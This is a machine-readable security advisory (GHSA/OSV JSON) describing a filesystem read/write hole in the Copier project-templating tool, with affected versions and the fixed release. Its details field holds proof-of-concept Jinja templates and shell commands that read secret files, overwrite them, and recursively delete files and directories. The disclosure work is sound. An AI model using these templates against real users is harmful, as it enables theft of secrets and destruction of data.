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5.7 KiB
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{"schema_version":"1.9.0","id":"GHSA-3xw7-v6cj-5q8h","published":"2025-08-18T21:00:23Z","modified":"2026-07-07T17:57:08.156171846Z","aliases":["CVE-2025-55201","PYSEC-2026-1271"],"summary":"Copier's safe template has arbitrary filesystem read/write access","details":"### Impact\n\nCopier's current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n ```shell\n echo \"s3cr3t\" > secret.txt\n mkdir src/\n echo \"stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}\" > src/stolen-secret.txt.jinja\n uvx copier copy src/ dst/\n cat dst/stolen-secret.txt\n ```\n\n- Read unknown file(s) via globbing:\n\n ```shell\n mkdir secrets/\n echo \"s3cr3t #1\" > secrets/secret1.txt\n echo \"s3cr3t #2\" > secrets/secret2.txt\n mkdir src/\n cat <<'EOF' > src/stolen-secrets.txt.jinja\n stolen secrets:\n {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}\n {% for f in parent.glob('*.txt') %}\n {{ f }}: {{ f.read_text('utf-8') }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat dst/stolen-secrets.txt\n ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n ```shell\n echo \"s3cr3t\" > secret.txt\n mkdir src/\n echo \"{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}\" > src/malicious.txt.jinja\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Overwrite unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" > secret.txt\n mkdir src/\n cat <<'EOF' > src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n {% for f in (parent.glob('*.txt') | list) %}\n {{ f.write_text('OVERWRITTEN', 'utf-8') }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" > secret.txt\n mkdir src/\n cat <<'EOF' > src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n {% for f in (parent.glob('*.txt') | list) %}\n {{ f.unlink() }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown files and directories via tree walking:\n\n ```shell\n mkdir data\n mkdir data/a\n mkdir data/a/b\n echo \"foo\" > data/foo.txt\n echo \"bar\" > data/a/bar.txt\n echo \"baz\" > data/a/b/baz.txt\n tree data/\n mkdir src/\n cat <<'EOF' > src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}\n {% for root, dirs, files in parent.walk(top_down=False) %}\n {% for name in files %}\n {{ (root / name).unlink() }}\n {% endfor %}\n {% for name in dirs %}\n {{ (root / name).rmdir() }}\n {% endfor %}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n tree data/\n ```","affected":[{"package":{"name":"copier","ecosystem":"PyPI","purl":"pkg:pypi/copier"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.9.1"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-3xw7-v6cj-5q8h/GHSA-3xw7-v6cj-5q8h.json"}}],"references":[{"type":"WEB","url":"https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55201"},{"type":"WEB","url":"https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2025-08-18T21:00:23Z","nvd_published_at":"2025-08-18T17:15:29Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} |